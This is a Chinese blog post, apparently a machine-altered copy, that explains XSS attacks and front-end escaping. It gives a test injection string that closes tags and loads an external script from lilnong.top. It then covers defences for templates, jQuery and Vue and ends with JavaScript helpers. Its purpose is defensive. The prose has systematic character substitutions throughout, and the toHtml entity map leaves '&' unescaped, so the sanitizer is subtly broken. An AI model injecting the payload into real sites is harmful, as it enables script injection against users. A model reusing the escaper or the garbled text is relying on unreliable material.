前端安全之 xss 攻击

前段时间公司网页被 xss 搞了一下，微信把域名封了，通宵搞了好几天。

这两天把公司好几年来的代码都改了一遍，这工做丧心病狂。

什么是 xss？

XSS 攻击指经过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的代码。

危害有什么？

1. 跳转到广告页面，页面注入广告等等。
2. 致使公司域名被其余平台拉黑，从而使业务受损。
3. 用户的财产受到威胁，他注入的代码能够在网页中任意请求接口。

注入代码

http://upcdn"'></script><script src="//www.lilnong.top/xss.js"></script><script>alert(12306)</script><svg></svg>\n\t\n

上面的代码是咱们测试的时候使用的，接下来咱们来分析一下这个代码主要用途。

1. http://upcdn 这个字符串是用来假装的。

   • <img src="${str}"> 动态拼接图片地址
   • <a href="${str}"> 动态跳转页面地址

2. "'> 这两个就是为了截断当前字符串，而后闭合标签。

   • <img src="${str}">

3. </script> 也是为了闭合标签，这个主要用在后台模板输出的时候。后台模板 velocity、freemarker 之类的。

   • <script>var imgUrl = ${str}</script>
4. <script src="//www.lilnong.top/xss.js"></script> 就是引入一个js，这种方式比较常见。注入以后，攻击者只须要修改本身的文件，就能够更新了。
5. <script>alert(12306)</script> 直接执行js代码
6. <svg></svg> 注入一个元素，用于展现一个异常块打乱布局。好比 vue 中的 v-html 不会执行 script 标签中的内容，可是会显示 svg 图片。
7. \n\t\n 是为了测试后台模板输出的场景。

防御场景及方案

后台模板

1. toHtml 主要用于输出在页面（标签中）中，将用户输入的内容进行编码好比 <转换为<。

   • <span>${nickanme}</span>
2. toJS 主要用于输出在script标签中，这里须要防止打断js，好比处理成"'\n为\"\'\\n

3. toUrl 这里其实和 toHtml 场景很像，可是须要判断url基础格式。

   • https://
   • //lilnong.top
   • /static
   • ./static
   • ../static

jquery&原生js

1. toHtml 场景。jquery中基本上都是拼接一下，而后 .html 输出一下。这里须要作的也是把用户输入的作一下实体编码转换。
2. toUrl 场景。校验一下url，而后 toHtml 或者 encode 均可以。

vue

1. toHtml 场景。v-html 这里须要注意一下，尽量不要使用，由于会致使注入问题。也能够toHtml一下，可是不必不是吗。
2. toUrl 场景。:href 主要 javascript:alert(1);这种场景，作url校验就能够。
3. toHtml 场景。使用原生的方法，vue 中非要 innerHTML的那些人。

常见问题

富文本场景

1. 作文章那种，大量的标签，属性。这种通常须要后端处理。HTML Purifier
2. 文字加表情，后者搜索高亮的场景。这种咱们能够先执行toHtml，而后再匹配替换，最后在输出到页面便可。

换行符问题

有时咱们在textarea中输入\n，渲染的时候空白符就被浏览器给吃了。针对这种状况，咱们能够用下面的方案处理

1. 经过 css 属性 white-space，或者 <pre> 标签
2. 通常人们是正则替换.replace(/\n/g,'<br>)，这种输出的时候万一里面有代码不就凉了吗。因此咱们先 toHtml 而后在使用，这样能够防止注入问题。
3. 其实 .innerText 能够自动把\n转换为<br>，你能够本身试试

代码实现

window.base = {
    toHtml: function (val) {
        if( typeof val != 'string' ) return '';
        var entityMap = {
            "&": "&",
            "<": "&lt;",
            ">": "&gt;",
            '"': '&quot;',
            "'": '&#39;',
            "/": '&#x2F;'
        };
        return String(val).replace(/[&<>"'\/]/g, function (s) {
            return entityMap[s];
        });
    },
    toUrl: function (url) {
        if( typeof url != 'string' ) return '#';
        if(url.match(/^http/i)){
            return encodeURI(url)
        }
        return '#'
    },
};

微信公众号：前端linong